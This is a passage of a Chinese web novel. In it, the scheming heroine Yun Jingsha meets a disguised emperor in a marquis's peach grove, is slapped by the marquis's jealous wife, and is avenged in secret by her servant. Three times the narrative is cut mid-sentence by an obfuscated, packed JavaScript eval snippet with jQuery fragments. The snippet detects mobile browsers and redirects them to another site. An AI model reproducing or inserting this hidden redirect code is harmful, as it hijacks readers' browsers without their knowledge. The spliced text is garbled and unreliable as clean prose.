云镜纱扬唇,眼里盛着喜悦笑意,“那我去了。” 敏良看着正在埋头绣花,明显没听二人说话的芳音,又看向吃得正欢的尹寻春,想起不知跑哪儿去的桃杏,暗暗叹口气,放下绣帕,“我陪姑娘去吧。” “不用了。” 云镜纱弯眼,“你忙你的,就在隔壁,我还能走丢了不成?” 敏良还想说什么,云镜纱脚下一转,径直出了门。 她走得快,等敏良追到门口时,视野里只剩下一道窈窕背影。 …… 离开桃蕊院,云镜纱的步子慢下。 她半阖着眼睑,缓步踏入桃林。 尹寻春的话在脑子里转了几圈,云镜纱有些犹豫。 倘若并非是她想的那人,若是被舒含昭发现,指不定要吃些苦头。可如果是的话…… 云镜纱随手折下一枝桃花拿在手中把玩。 罢了。 她吐出一口气,在顷刻间做了决定。 脚下步伐陡然快了些许,迈了两步,又急急刹住。 额头撞到硬邦邦的东西,一阵闷痛传来,云镜纱轻“嘶”一声,捂住额头。 往前投去一眼,她陡然怔愣。 面前站了个男子。 云镜纱的个子在姑娘里算中等,这男子却比她高了整整一个头。 两道浓长墨眉入鬓,眉骨凸出,眼窝很深,鼻梁高挺,嘴唇不厚不薄,形状优美,五官立体,轮廓分明,是凛冽到极具攻击性的长相。 乌发一半束在玉冠中,几绺发丝顺着低头的动作落在云镜纱肩头,分明隔着衣物,她却感受到了些许痒意。 他与她离得很近,呼吸近在咫尺,鼻尖仿佛染上了男子身上的浅淡檀香。一双狭长凤眼垂着,安静地注视她。 阳光落在他眉眼,漆黑瞳仁仿佛也淬了一层暖光,融化了眉间寒冰,似有涓涓细流在眸底流淌。 云镜纱呼吸一窒,紧了紧手中粉桃,不觉后退。 距离拉开,男子的模样尽收眼底。 玄色交领宽袖织锦长袍,袖口绣着云纹,苍鹰在胸前腾飞,黑色眼睛炯炯有神,栩栩如生。 腰间缠着玉带,锦囊与墨玉玉牌垂坠,越发衬得他肩宽腿长,俊美无俦。 云镜纱的视线在那玉牌上停留一瞬,脑中各种思绪飞快闪过。 东平郡王风流倜傥,最是喜爱貌美女子,见到她时,不可能如眼前男子这般冷漠似霜。 平福与东平郡王有几分交情,他曾提过,郡王看似热情爽朗,实则外热内冷,能让他主动送礼的,定是极为亲近之人。 还有舒含昭和黄老夫人对贵客的重视…… 云镜纱呼吸略重,抬头望向男子,握着桃枝的手不觉发紧。 若是猜错了,她也并无损失。 纷繁念头流转,迎着男子冷淡的目光,少女细腻如玉的双颊渐渐染上粉霞,竟比手中桃花还要娇艳三分。 杏眸含水,恍惚间好似薄雾寒江,江风起,一汪又一汪秋波在少女眼中漾动。 轻柔的嗓音散在风中,“是我莽撞,惊扰了公子。” 少女身后,树树桃花随着春风摇晃,花瓣簌簌而落,仿佛一场为她盛开的花雨。“雨点”缀在她发梢,勾着她的裙摆共舞。 她握着粉桃,长裙翩跹,宛如这桃林中诞生的花灵,清灵秀美,纯质动人,眸光轻转间,尽显姝色。 男子垂眸看了她许久,直到云镜纱略显不安,他终于开口。 音色如他的人一般,仿佛深埋地底的千年寒冰,冷得令人发颤,却又如玉碎般动人。 “你为何在此。” 云镜纱嗓音轻柔,“我来这儿赏花。公子呢?你是谁,又为何在此?” 尾音落下,她略显懊恼,自报家门,“我姓云,名唤镜纱,是来府上做客的,就住在桃林那边的院子。” 男子望着她。 少女歪着头,琥珀似的眼睛正看着他。 他垂了垂眼,“我名……”略微停顿,男子道:“齐……雨,来侯府是为了找一样东西。” 云镜纱好奇问:“什么东西?” 风吹起满地花瓣,寂静之中,云镜纱看见一双沉静黑眸。 “很重要的东西。” 云镜纱压了压眉,脸上笑容不变,“那东西是何模样,公子不若说说,我可以帮你找。” 她声音低了下去,抬眼悄悄觑了眼启雨,又飞快把视线挪开,留下半张莹白侧脸,“就当……就当是我为了冲撞公子而赔罪。” 齐雨沉默半晌,抬了抬睫,“我并未见过那样东西。” 云镜纱偏头疑惑,“公子既未见过,如何辨认?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279133|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >齐雨:“我能认出。” 对上少女清澈瞳眸,他顿了顿,又道:“那东西极为珍贵。” 云镜纱脑子里浮现出各种奇珍异宝,了然点头。 她在心中演算一个单纯少女此刻最真实的模样,面露犹疑,小心翼翼问:“齐公子,那东西,是你的吗?” 姑娘一双杏眼里漫出疑虑,略有些警惕地盯着他。 齐雨心下微松,轻轻颔首,“是。还未到手中就丢了,最近听闻它在侯府。” 云镜纱神情肉眼可见放松,舒了口气,唇角弯弯,“我会帮公子留意的。若有消息,定会第一时间告知公子。” 齐雨双唇动了动,“多谢。” 云镜纱弯眼,笑意柔和,“公子不必多礼。” 齐雨点了点头,提步欲走,“告辞。” “公子!” 云镜纱叫住他,目光落在齐雨眉心,“公子还未告知住处。否则我、我如何寻你?” 齐雨默,“若想寻我,就在院子里放一只纸鸢,我若看到,自会来见你。” “回去吧。” 玄色袍角轻勾,引得地上桃花瓣纷飞,那道高大颀长的身影很快消失在桃林中,再寻不见。 云镜纱注视着齐雨离开的方向,嘴角上扬至一个愉悦的弧度。 齐,启。 赌对的可能大了两分。 碧云轩,已经没必要去了。 转了转手中桃枝,她转身,又在树上折了不少开得绚烂的桃花,步履轻快回了桃蕊院。 尹寻春蹲在敏良和芳音脚边,手里抓了把瓜子,松鼠似的嗑得飞快,瓜子皮已装了半碗。 云镜纱进来,她第一时间注意到,噌一下站起,笑意盈盈,“姑娘回来了。” 芳音侧了眼,“呀,好多桃花。” 敏良放下绣帕,起身拿过云镜纱怀里的桃枝,“这么多,待会儿让厨房给姑娘做桃花饼吃。” 云镜纱摇头,“今日府中有客,哪能让厨房为我忙活。” 长指轻拨粉嫩花瓣,她笑道:“不是有空花瓶?拿一个来插花吧。” 敏良去拿了个白瓷绘兰草玉壶春瓶,剪去多余的枝丫,将桃枝细细插.入瓶中。 绽放的粉桃娇艳动人,室内仿佛染上桃香,鼻息间尽是暖香。 云镜纱坐在榻上,一手托着腮,莹白指尖不时拨弄花瓣。 尹寻春嗑着瓜子,歪头打量她。 姑娘今日好像很高兴。 …… 蓝天之下,飞檐斗拱,雕梁画栋。瓦似琉璃,砖如白玉,清晰映照着来人的黑色皂靴。 他拾阶而上,在大殿门前停驻。 门边立着两名小公公,道了声“大人稍等,容我禀报一声”,转身进了大殿。 片刻后,小公公请他进去。 来人颔首,大步而入。 殿内金碧辉煌,长龙绕柱,怒目而张。异兽伏案,浩气凛然,煌煌威严,不可逼视。 来人目不斜视,跪地请安,“陛下。” 待上头响了声“起”,他站起身,双手将东西呈上去。 一只骨节分明的手接过帖子,五指修长,手背青筋微凸,极富力量感。 孟桓启翻开帖子垂眸细看。 半晌,指尖轻触某处。 “……云镜纱。” “兄长,云景舟……” 8. 第 8 章 云镜纱思忖着该给齐雨什么物件。 现在的她手上没什么好东西,虽然能让平叔从外头随便弄一件进来,但齐雨要找的东西在侯府,这东西也该出自侯府才对,没得让她出的道理。 正巧,进府那日后,她还没见过许玉淮和舒含昭。 一想到这些时日在她看不见的地方,那对夫妻如胶似漆,恩爱缠绵,云镜纱恶心得就跟吃了苍蝇似的。 她心情不好,就想膈应别人。 “敏良。” 云镜纱转头喊了一声,“帮我准备一份吃食。” 敏良不解,“姑娘要做什么?” 云镜纱垂着眉,眼里是掩饰不住的担忧,“没有哥哥的下落,我心慌得紧。我想去问问侯爷,看他那边是何进展,可有我哥哥的下落。” 敏良知她忧心兄长,点头去准备。 躲在屋里的桃杏正靠在窗边打瞌睡,手上一滑,她险些一头栽下去,抬头时正好瞥见芳音拎着食盒,和新来的叫尹寻春的小丫头跟在云镜纱身后出了院子。 朝廊下正在扫花瓣的小丫头招了招手,桃杏点了点几人的背影,“她们做什么去?” 小丫头倒是知道一二,“云姑娘去找侯爷。” 桃杏眼珠子转了转,不屑撇嘴。 …… 桃林的尽头是一座清幽小院,院子外种了圈芭蕉青竹,明媚阳光穿斜而过,青石板上树影斑驳。 门外站了两名眼生的小厮,云镜纱款款而至,轻柔嗓音仿若春风,“我想见侯爷,劳烦二位小哥通传一声。” 小厮自然知晓她的身份,方要应,里头已响起许玉淮的声音,“进来吧。” 小厮忙为云镜纱开门。 云镜纱对二人道了声谢,拿过芳音手里的食盒,缓步跨过门槛。 正对着门是一张紫檀木雕花罗汉床,两侧摆着几张太师椅,左侧落地绣山峦屏风后隐隐显出一道影子。 云镜纱绕过屏风,抬眼便见许玉淮坐在书案后,两侧书阁摆得满满当当,浩如烟海,汗牛充栋。 她没多看,缓缓屈膝,服了个不怎么熟练的礼,“侯爷。” 许玉淮随手搁笔,阖上手里册子,神色温和如往昔,“今日怎么来了?” 云镜纱把食盒放在案上,从里边端出一碟糕点,细声道:“桃林里的花开得正好,我特意让人摘了做成糕点,侯爷尝尝。” 许玉淮拿了一块。 手中糕点做得极为精致,形状饱满,色泽鲜亮,其上缀着一片花瓣,轻轻一嗅,淡淡桃花香钻入鼻尖。 许玉淮咬了一口,软糯香甜,甜度适中。 和当初在那小村子里险些碎成渣的全然不同。 相同的是眼前这个玉软花柔,清丽无双的姑娘。 少女视线柔柔地落在他身上,两道柳眉似蹙非蹙,纤长的眼睫拖出清清淡淡的愁,像极了雨后挂了露的柃木犀。 素雅、清艳,见之难忘。 许玉淮咽下糕点,嗓音放柔,“可是受了委屈?” 云镜纱摇头,目光殷殷,“许大哥,你可有我哥哥的下落?” 眼中泪珠欲落不落,神色悲戚,“我昨日去双元楼,竟没有一人听说过他。” 许玉淮动作一顿。 前几日他忙,竟把云景舟的事忘了。 心中思绪翻转,许玉淮放下糕点,温声道:“别担心,你兄长的事我已经在查了,最近已经有了头绪,想必过不了多久,你们兄妹就能团聚了。” 云镜纱惊喜,“真的吗?” 少女的眼睛湿润明亮,许玉淮竟有些心虚,面不改色点头,“是。” “太好了!” 云镜纱欢喜不已,“许大哥,多亏了有你,否则我真不知道该去哪儿找哥哥。” 许玉淮笑,“你我之间,何必如此客气。” 云镜纱翘起的嘴角僵住,眼里多了失落,“该客气的。我若是与你不客气,夫人该恼你了。” 许玉淮微顿。 “许大哥。” 少女小鹿般清透的眼睛看着他,嗓音很轻,“之前怎么不告诉我,你已经成亲了呢?你若说了,我不会……” 晶莹泪珠将长睫打湿,她偏过头去,手指在眼下擦过。 不会什么? 不会随他上京,也不会留在侯府? 许玉淮知道她的未尽之言。 云镜纱侧着脸,许玉淮看不清她的表情,缓缓起身来到她身旁,拍了拍云镜纱的头。 “我是家中独子,自幼没个兄弟姐妹,虽衣食无忧,但有时见别家兄友妹恭,难免羡慕。你救我一命,在我心里就和亲妹子一般无二,当时是觉,无论说与不说,都不能影响你我二人的兄妹情谊。如今想来,是有些不妥。若是让你误会了什么,我向你道歉。” 云镜纱心中嗤笑。 这男人可真够虚伪的,谁家哥哥整日含情脉脉地看着自个儿妹妹? 谁家哥哥会对妹妹说些语焉不详的暧昧之语? 那时,任谁都看得出他眼里的情意。 就算她的情是假,可那两个月的贴心照顾却不是假的。养伤时需要她,闭口不谈已有家室,如今回了京恢复了侯爷身份,就要甩开她了。 甚至暗示一切不过都是她的误会。 倘若她真是个对许玉淮芳心暗许的普通农家姑娘,满怀期待跟随心上人进京,却见他娇妻在怀,否认往日情意,这会儿怕是心都要疼死了。 感受着头顶温度,云镜纱更是厌恶,偏头不易察觉地躲开,瓷白的脸上盛满不可置信,眼里的光渐渐熄灭,声音里含着哽咽。 “……兄妹?许大哥,你明知我……” 许玉淮打断她的话,“云姑娘。” 云镜纱闭了闭眼,偏头不再看他。 饱满樱唇被她紧紧咬住,一滴泪珠顺着脸颊流淌。 许玉淮顺着她的视线看过去,心里叹了一声,温和道:“喜欢?想要什么,只管与我说……” “哐当——” 书房门被人推开,重重撞在墙上,发出一声巨响。 一身华服的舒含昭冷着脸站在门前,扫了眼站得极近的两人。 许玉淮的手落在半空,似是要去抚摸云镜纱的脸,动作亲昵又暧昧。 舒含昭凤眼冷得似淬了冰。 她大步进去,分开两人,扬起手甩了过去。 “狐媚子!” 咬牙切齿,厌恶至极。 舒含昭用了十成的力,云镜纱身子一歪,重重落在地上。 额头撞上博古架一角,疼得她“嘶”一声,当场掉了泪。 云镜纱抬头,额角红肿一片,白皙侧脸上掌印分外明显,狰狞可怖,杏眸泪水盈盈,楚楚可怜。 “夫人为何打我?” 舒含昭冷冷掀唇,“我打你这贱.人还需要理由?” 许玉淮终于反应过来,“你做什么?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279134|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么,我打她你心疼了?” 舒含昭恨恨与许玉淮对视,“这贱.人青天白日就敢在书房勾.引你,我还打不得了?” “若是我不来,明日我岂不是多了个妹妹?” “妹妹”两字,舒含昭咬得极重。 黛春和夏琼堵在门口,挡住身后小厮和丫鬟。 即便如此,许玉淮依旧能感受到那些好奇的窥探目光。 许玉淮额头青筋跳动,“我与云姑娘并无苟且,她一个清白姑娘,你怎能如此污蔑?” “我污蔑她?” 舒含昭气笑了,“方才你们离得那么近,近得都要亲上了,难不成是我眼瞎?!” “夫人误会了。” 两道泪痕挂在云镜纱脸上,她啜泣着说:“我因兄长失踪难受,没忍住落了泪,侯爷不过是在安慰我罢了。” 她竟还在维护他。 许玉淮心中难以言述。 舒含昭却不屑冷嗤,“你兄长失踪,关侯爷什么事?想要安慰,府里丫鬟多的是,平白无故找我夫君作何?” “不过是借着伤心之名行勾.引之事罢了,你这种狐媚子,我见得多了!” 云镜纱哭得无声无息,低垂的脸颊柔软无辜,“……夫人说是,那就是吧。” 舒含昭大怒,“还在惺惺作态!” “够了!” 许玉淮骤然喝一声,沉声道:“昭昭,你过了。” 舒含昭难以置信地回眸望他,眼圈蓦地红了,“你凶我?” “许玉淮,你竟然为了这女人凶我?” 许玉淮眸色深沉,“别再闹了。” 舒含昭听不进去,尖叫一声,“许玉淮,你太过分了!” 她蓦地转身,推开黛春和夏琼,哭着跑远。 “夫人!” 黛春二人急忙追上去。 门前无人,芳音和尹寻春匆匆进屋扶起云镜纱。 “姑娘,没事吧?” 云镜纱捂着脸摇头。 尹寻春看着被她手挡住的掌印,眼中凶戾光芒一闪而逝。 许玉淮问她,“疼吗?” 云镜纱摇头,动作间一滴泪珠坠地,“不疼的。” 听着她极力忍耐,依旧藏不住的哽咽,许玉淮抿唇。 “夫人瞧着很是伤心,许大……”顿了顿,云镜纱道:“侯爷还是去看看吧。” 想到舒含昭,许玉淮头疼,“我会和她说清楚的。” “好。” 云镜纱低低应了一声。 屋内就此沉寂。 良久,云镜纱轻声道:“我该回去了。” 望着她红肿的额角和脸颊,许玉淮叹气,“今日之事,是你受委屈了。” 云镜纱轻轻摇头,垂首和芳音尹寻春出了书房。 许玉淮又说了什么她并未听见。 到了桃林,云镜纱松开两人的手。 微风拂面,脸上刺痛,她静静立着,抬手接住两片桃花瓣。 回眸时,黄昏的光映入眼中,折射出冷冽光芒。 芳音心里发酸,一个劲地哄着她,“姑娘,我们明日来折些桃花做香包吧?” 见云镜纱不答,她又说了许多,“写字作画和敏良姐姐绣花?或者出门散散心?我昨日出府,瞧见好多铺子,卖糖人的、点心的、纸鸢的……瞧着好热闹。” 少女轻柔的回答散在空中。 “……那便放纸鸢吧。” 9. 第 9 章 回到桃蕊院,敏良瞧见云镜纱脸上的伤吓了一跳,急急忙忙放下笸箩,“姑娘这是怎么了?” 云镜纱坐在榻上不答,她又去看尹寻春和芳音。 一个垂头不语,一个朝她长叹一气。 敏良不解,但云镜纱脸上的伤不能耽搁,只得暂且放下,让人去取药膏来。 桃蕊院空了许久,东西并不齐全,被叫住的小丫鬟应了声小跑出去。 没过多久,她折返回来,大声道:“敏良姐姐,侯爷跟前的元义小哥来了。” 敏良一惊,匆忙出去。再回来时,身后跟了个高高瘦瘦的男子和几名小厮。 那男子站在门口,没敢多看,让小厮把东西一一交到小丫鬟手里,笑道:“侯爷给姑娘送了些玩意解闷,另还有瓶药膏。姑娘放心,这药膏乃是宫中太医所配,很是稀少,就连侯府也只得了两瓶。保管两日,您脸上连个印子都不会留下。” 云镜纱勉强牵唇,“劳烦小哥替我谢谢侯爷。” 元义笑着应承,“姑娘好好休息,小的还得回去复命。” “芳音,替我送送。” “是。” 芳音做出“请”的手势,送元义出门。 敏良敏锐地察觉到云镜纱受伤和许玉淮有关,但并未多问,查看元义送来的东西。 一瓶药膏,一对镶金红宝石蝴蝶钗,一对羊脂玉镯子,两支白玉素簪,一盒珠花,另还有两匹缎子。 听到动静出门的桃杏看到东西眼都直了。 打开最后一个木盒,敏良呼吸一滞,抱着东西走到云镜纱跟前,“姑娘。” 云镜纱垂眸。 盒子里放着一颗硕大的夜明珠,尚是黄昏,这珠子静静躺着,与普通的珠子无异,背着光,却能看出些许光芒。 云镜纱兴致缺缺地阖上盒子,“收起来吧。” 敏良正要去拿木盒,却听她小声喃喃,“好疼。” 云镜纱皮肤白,脸上的掌印仿佛拓上去一般,五指根根分明,瞧着像是女子的手。 额上的伤隐隐渗着血丝,分外碍眼。 尹寻春呆呆站在一旁,瞧着好似被吓坏了。 挡住桃杏的目光,敏良小心把木盒放到尹寻春怀里,“寻春,你去把东西收好。东西珍贵,记得锁好了。” 尹寻春回神,“好。” 桃杏撇撇嘴,假模假样地关心两句,见云镜纱和敏良都不理她,白眼一翻走了。 敏良取出药膏,轻轻涂抹在云镜纱伤处。 芳音回来,凑在云镜纱身边说笑,说得口干舌燥,云镜纱脸上终于露了些笑,她这才松了口气。 天黑得很快,吃完饭,云镜纱早早地歇下了。 凝芳阁。 舒含昭伏在枕头上哭,枕面濡湿,贴在脸上很是难受,她一把挥开,嗓音哭到沙哑,“侯爷呢?” 黛春小声道:“侯爷明日要上早朝,方才去偏房歇下了。” 舒含昭气得又落了泪,“他都不知道多哄我一会儿吗?!” 夏琼劝道:“哭多了伤眼,夫人用帕子敷敷吧。” 黛春也道:“是啊,厨房灶上温着饭菜,夫人多少吃点吧。” “我不吃!” 舒含昭负气躲进被里,“滚出去,你们都给我滚出去!” 黛春和夏琼无法,只得退下。 屋里一片寂静,想到白日里许玉淮斥责她的话,舒含昭又忍不住落泪。 云镜纱,云镜纱! 他竟然为了一个狐狸精凶她! 舒含昭咬着被角,委屈又愤恨。 不出了今日受的气,她不姓舒! 乱七八糟想了许多,舒含昭精神不济,闭眼睡去。 睡得正沉,她仿佛做了个怪梦,浑身不知被什么东西缠住,紧得她喘不过气来。 舒含昭拼命挣扎,大口呼吸。 不知过了多久,身上一松,半梦半醒的她还未来得及生出喜悦,头上突然一阵剧痛,疼得她叫出了声。 “啊!” …… 清晨醒来,云镜纱便听说昨夜舒含昭梦魇,不甚磕了头,府里半夜叫了太医的事。 她坐在桌前慢慢吃着粥,担忧问道:“夫人可有大碍?” 芳音:“听说就是磕了一下,有太医看着,应是无事。” 她转了话题,“姑娘,奴婢一大清早出去买了好多纸鸢,咱们待会儿慢慢放。” 听着芳音话中雀跃,云镜纱笑了,“好。” 吃了早膳,敏良又给云镜纱上了药,随后她便坐在院里看芳音领着两个小丫鬟放纸鸢。 敏良对此不感兴趣,让人搬来矮桌,给云镜纱备上瓜果点心和茶水,随后坐在檐下做起了针线。 桃杏今个儿心情不错,罕见地也拿了个纸鸢,笑着放飞。 春风和煦,姑娘们的笑声环绕在院子里,光是听着便让人欢喜。 尹寻春蹲在云镜纱脚边,摸了一块桌上的糕点,小口小口地吃着。 两块桃花饼吃完,她抬头,视线里是云镜纱略显淡漠的侧脸。 丧气垂头,尹寻春小声告罪,“姑娘,我错了。” 云镜纱低头。 尹寻春嘟囔,“谁叫她打姑娘的?昨个儿我拼尽全力才忍住没杀了她。只是让她撞了下头,已经很便宜她了。” 拾起一块桃花饼,云镜纱递给尹寻春。 风吹起她散落的发丝,挡住了她半张宁静美好的脸。 除了尹寻春,无人瞧见她眉间冷意。 “放心,总有一日,我会光明正大让她把这一巴掌还回来。” 尹寻春瞬间高兴了,“好。” …… 大抵知道她受了伤,今日黄老夫人倒是没让人唤云镜纱去说话。 不用做戏,云镜纱乐得清闲,和芳音说说话,又陪尹寻春吃了些瓜果,一日便过去了。 夜幕降临,打发了丫鬟们,云镜纱坐在床沿,指尖轻叩木盒。 他会来吗? 云镜纱不确定。 那日二人相会的场景在脑中闪现。 他瞧着不像是个会被美色迷惑的人。 且那日她的借口着实拙劣。 云镜纱难得焦躁。 可为今之计,唯有等待。 她闭上眼,沉下心,抚平心中焦灼。 夜风吹过院内桃树,窸窣声响环绕,云镜纱身子逐渐歪斜。 就在她的脑袋即将碰上床柱时,窗边响起一声轻叩,让云镜纱猛地惊醒,连忙循声望去。 高大身影站在窗前,月光从窗前爬进屋内,盈盈洒在他肩头,清晰照出地上长影。 晚风送来桃花,花瓣环绕在他身侧,与长发共舞。 男子披着皎皎月色,瞧不清模样,依稀看见一张棱角分明,冷锐俊美的侧脸。 云镜纱惊喜地抱着盒子朝他而去。 “齐公子。” 迫不及待打开木盒,云镜纱问:“这是你要找的东西吗?” 孟桓启侧过身,面对她站着。 木盒内放着一颗拳头大的夜明珠,在夜里散发着柔和清韵。 云镜纱正在等他的回复,蓦地听见冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279135|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冽的一声。 “额头怎么回事?” 许玉淮送来的药果真有效,今晨云镜纱脸上的掌印便消了。额上的伤虽还在,但只微微泛红,并不显得可怖。 在夜里若不细看,根本看不清。 云镜纱愣了片刻,微微侧过身去,嘴角扬起,“不小心磕了一下,没关系的。” 月色下,捧着夜明珠的少女半张脸笼了一层清辉,她穿得单薄,裙角扬起,琼花玉姿,仿若下一瞬便要飞升的仙娥。 没听见回复,云镜纱眉心蹙了一下,正要启唇,只听“啪嗒”一声。 她疑惑回眸,却见窗户被关上了。 “可有上药?” 回过神,云镜纱轻轻点头,“有的。” 她不欲继续这个话题,扬了扬手中木盒,“公子,这可是你要寻的东西?” 视线从她额上划过,孟桓启低头,眸色冷淡瞧着那颗夜明珠。 在云镜纱期待的目光下,他冷冷开口,“不是。” 少女肉眼可见地失落,“不是吗?” 孟桓启长指一拨,盒子“啪”地关上。 他随手一抛,木盒穿过珠帘,稳稳落在外间博古架上。 云镜纱微微叹气,“这么好看的夜明珠,竟还不是公子要找的东西。” 她时刻维持着自己没见识的乡下姑娘形象。 孟桓启:“不过尔尔。” 话音冷淡,却是显而易见的嫌弃。 云镜纱:“……” 她不解,“公子既要寻东西,为何不告知侯爷,光明正大找呢?” 孟桓启:“府中人并不知那东西的存在。” 云镜纱眨眨眼,小声猜测,“难不成,是侯府的人盗走了公子的东西,公子碍于侯爷情面,不便直言?” 孟桓启默了片晌,“算是。” 侯府里居然还有这么有本事的人? 云镜纱暗自惊讶。 看来她往后行事还得再小心些。 “我知道了。” 云镜纱扬起脸,“往后我会注意的。” 少女脸上一派郑重其事,眼里满是认真。 孟桓启注视着她,“不必劳烦,我自己寻便可。” “那怎么能行?” 云镜纱摇头,“答应过别人的事岂能反悔?” 她抬眼,却见孟桓启黑眸晦暗不明,神色有片刻的怔忪。 云镜纱不解,正要细看,他已恢复寻常,声如寒冰。 “多谢姑娘。” 云镜纱按下疑惑,温和弯唇,眉眼弯弯,“公子客气。” “夜深露重,姑娘早些歇息。” 孟桓启落下这句,对云镜纱微一颔首,开窗翻身而出。 风灌了进来,云镜纱闻见浓烈的桃花香,与一缕微弱的檀香。 窗门阖上,冷风与那道身影一同被隔绝在窗外。 唯余空气中残留的香味,和地上散落的花瓣。 云镜纱摘下肩上花瓣,静静站在原地。 他要找的究竟是什么?侯府这么大,又不知那东西是何模样,无异于大海捞针。 房门被人推开的声音打断了她的思绪。 尹寻春悄声问:“姑娘,那位走了?” 云镜纱颔首,“走了,你去睡吧。” 尹寻春没走,服侍云镜纱躺下,她才悄悄离开。 云镜纱没再多想,合眼睡去。 想这么多作甚,她又不是真要替孟桓启找东西。 只是个接近他的借口罢了。 何必为难自己。 10. 第 10 章 趁着伤还没好,云镜纱去承安堂陪黄老夫人说话,顺便卖卖惨,临走时收获颇丰,身后每个丫鬟手里都抱着东西。 挑了两样,云镜纱让敏良把剩下的安置妥当。 尹寻春左右看看,见身旁无人,压低声音道:“姑娘,这老夫人怎么对您这么热情。” 云镜纱拨弄玉佩,木盒中发出沉闷响声。 “舒含昭和许玉淮成婚六年,至今无子。” 尹寻春不解,“这和您有何干系?” 云镜纱笑了笑,唇角笑意泛着冷,“她急着抱重孙子,想让我给许玉淮做妾,自然要收买拿捏我。” 尹寻春瞪大眼,低低咒骂一声,“她做梦!” “可不是。” 云镜纱无所谓地笑笑,轻轻拍了下尹寻春的头顶,把木盒交给她,“行了,收好吧,过几日还有用处。” 尹寻春愤愤不平地揣着盒子。 “咦?” 外间忽然响起敏良疑惑的声音,“放夜明珠的盒子怎么上那儿去了?” 芳音道:“是啊,这么高,谁放上去的?” 云镜纱起身,撩开珠帘。 清脆碰撞声落下,她走出内室。 敏良和芳音正站在博古架前,抬头踮着脚尖。 博古架上,眼熟的木盒放在最顶端的角落里。 那地儿被一个梨花纹梅瓶挡着,又高又不易察觉,若非敏良眼尖,她还真没发现。 昨夜他原来是把东西扔那上边了? 云镜纱踮脚够了够,发现够不着后果断放弃。 敏良和芳音察觉到她的身影,二人脸上是相同的疑惑。 “姑娘,这夜明珠不是收好了?” “是啊。”芳音道:“放得好好的,也无人动,怎么到这儿来了?” 外头传来阵阵笑声,桃杏手里端了碟瓜子,被两个拿着笤帚的小丫鬟簇拥着走进院里,被逗得满脸是笑。 芳音瞪她一眼,“不会是她吧?” 敏良率先否认,“她没那个胆子。且就算是拿,也不会放这儿来。” “那……” 芳音不知想到什么,双目圆瞪,小脸煞白,嘴唇抖动,失声道:“不、不会是鬼吧……” 桃杏正巧跨过门槛,被这一声“鬼”吓得脚下一歪,碟子里的瓜子散了一地。 她抖着手稳住身形,瞪着芳音,“你胡说八道什么呢!” 敏良眉间一凛,“青天白日的,不许胡说。” 可若不是鬼,那东西是谁放上去的? 芳音咬着唇不说话。 云镜纱温声安抚,“别自己吓自己,没准是谁无意间放上去的。” 她往上瞟了一眼,“既然没丢,便不必管了。” “是。” 即便云镜纱说不用管,敏良却不能视而不见。 她领着芳音和尹寻春带着丫鬟婆子们,将桃蕊院上上下下里里外外清理了一通。 至于桃杏,照旧被她忽视了。 桃杏也不在意,溜达到站在桃树下观望的云镜纱身旁,圆脸上罕见地露出几分讨好,“姑娘,这里脏乱,奴婢陪你去桃林转转吧。” 云镜纱目光轻转,端详着眼前的姑娘。 个子娇小,五官不算多出色,脸盘略大,好在一双眼睛生得不错,黑黝黝的眼珠转来转去,略有些不安分。 偷懒耍滑又馋嘴,并不把她放在眼里,今日主动凑上来,也不知她背后的主子想做什么。 云镜纱柔柔一笑,“好。” 她身后是盛放的桃花,这一笑,仿佛春日暖阳,比那花还耀眼三分。 桃杏有些恍神,暗暗腹诽一句,跟着云镜纱去了桃林。 路上,桃杏干巴巴地和云镜纱搭话,云镜纱并未露出不耐,不时温和点头。 不多时,桃林到了。 桃杏明显欣喜,“姑娘,咱们快进去吧。” 云镜纱瞥了眼满林粉色。 也不知里边有什么,能让桃杏这般兴奋。 她从容迈出一步,嗓音轻柔,“好。” 花瓣坠地,铺就一片粉色海洋。满目烟霞,如诗如画。 云镜纱走在桃林中,难得放松。 春风卷起花瓣,呢喃声含糊不清。 桃花树下,一对璧人相拥而立。女子倚在男子怀中,额角大朵牡丹怒放,高鬓金钗,流苏缀在耳朵,眉眼艳丽灼灼,不可逼视。 男子拥着她,亲昵低语。 云镜纱有些无言。 桃杏引她来,就是想让她看这个? 舒含昭想刺激她,令她死心? 伤心没有,倒是有些伤眼。 不过她想做戏,陪陪她也无妨。 内心不起波澜,眼泪却说掉就掉。 云镜纱痴痴看着相拥的两人,杏眸有泪涌出,顺着雪白双颊下淌。 她闭了闭眼,蓦地转身跑开。 那道身影消失在桃林中,舒含昭心里畅快极了。 “怎么了,这么开心。” 低缓温柔的嗓音自头顶传来,舒含昭勾唇,抱住许玉淮的腰撒娇,“和你一起赏花,还不够我开心?” 胸膛发震,许玉淮无奈捏了下她的耳朵。 “你啊。” 舒含昭在他胸前蹭了蹭。 